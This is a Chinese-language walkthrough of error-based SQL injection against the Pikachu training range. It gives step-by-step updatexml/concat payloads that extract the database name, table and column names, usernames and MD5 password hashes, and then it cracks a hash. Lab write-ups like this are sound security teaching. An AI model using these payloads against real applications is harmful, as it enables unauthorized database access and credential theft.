Pikachu靶场:SQL-Inject之字符型注入(基于报错)

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

实验环境以及工具

Firefox浏览器、Burp Suite、Pikachu靶场

实验原理

技巧思路:

在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。

背景条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。

Updatexml()函数作用:改变(查找并替换) XML文档中符合条件的节点的值。

语法: UPDATEXML (xml_ document, XPathstring, new_ _value)

第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new _value , String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则则会发生错误

实验步骤

1.前期工作
先将Proxy中的intercept关闭,使其不进行拦截,让数据通过监听的端口。
2.使用字符型注入作为目标

用入下payload试图爆出数据库版本

kobe' and updatexml(1,version(),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

发现爆出的数据并不完整

故尝试用concat防止错误内容被吞噬

kobe' and updatexml(1,concat(0x7e,version()),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

成果爆出数据库版本。

漏洞利用

首先爆出数据库名称

payload为

kobe' and updatexml(1,concat(0x7e,database()),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

得出数据库名称为 pikachu

接下来数据库名称爆出表名

payload为

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' )),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

发现超过一行无法显示,那么在payload后面加上limit限制为一行

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 0,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

得到第一个表名为 httpinfo

依次往后进行,即将limit 参数换为 1,1 或2,1或 3,1一直到查不出来

payload和结果依次为

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 1,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 2,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'pikachu' limit 3,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

得到一个名叫users的表,尝试将其中的内容进行爆出。

payload和对应的结果为

kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 0,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 1,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select
COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where
TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users' limit 2,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

找到username和password两个敏感字段后,将其内容爆出

爆破username的payload和结果为

kobe' and updatexml(1, concat(0x7e, (select username from users limit 0,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select username from users limit 1,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select username from users limit 2,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

爆破password的payload和结果为

kobe' and updatexml(1, concat(0x7e, (select password from users limit 0,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select password from users limit 1,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

kobe' and updatexml(1, concat(0x7e, (select password from users limit 2,1)),0)#

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

整理用户名和密码
用户名 admin
密码 e10adc3949ba59abbe56e057f20f883e
用户名 pikachu
密码 670b14728ad9902aecba32e22fa4f6bd
用户名 test
密码 e99a18c428cb38d5f260853678922e03

5.利用hash-identifier和在线哈希破解网站破解密码
使用kali自带工具hash-identitier判断pikachu用户的密码的哈希类型

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

类型为MD5

Pikachu靶场:SQL-Inject之字符型注入(基于报错)

在MD5解密网站解密得到密文000000

总结

再利用sql报错注入的时候,要注意防止报错的内容被吞噬。输出不了多行内容的时候要利用limit进行限制。

上一篇:Pikachu靶场-File Inclusion


下一篇:【Elasticsearch】Elasticsearch在windows下的安装方法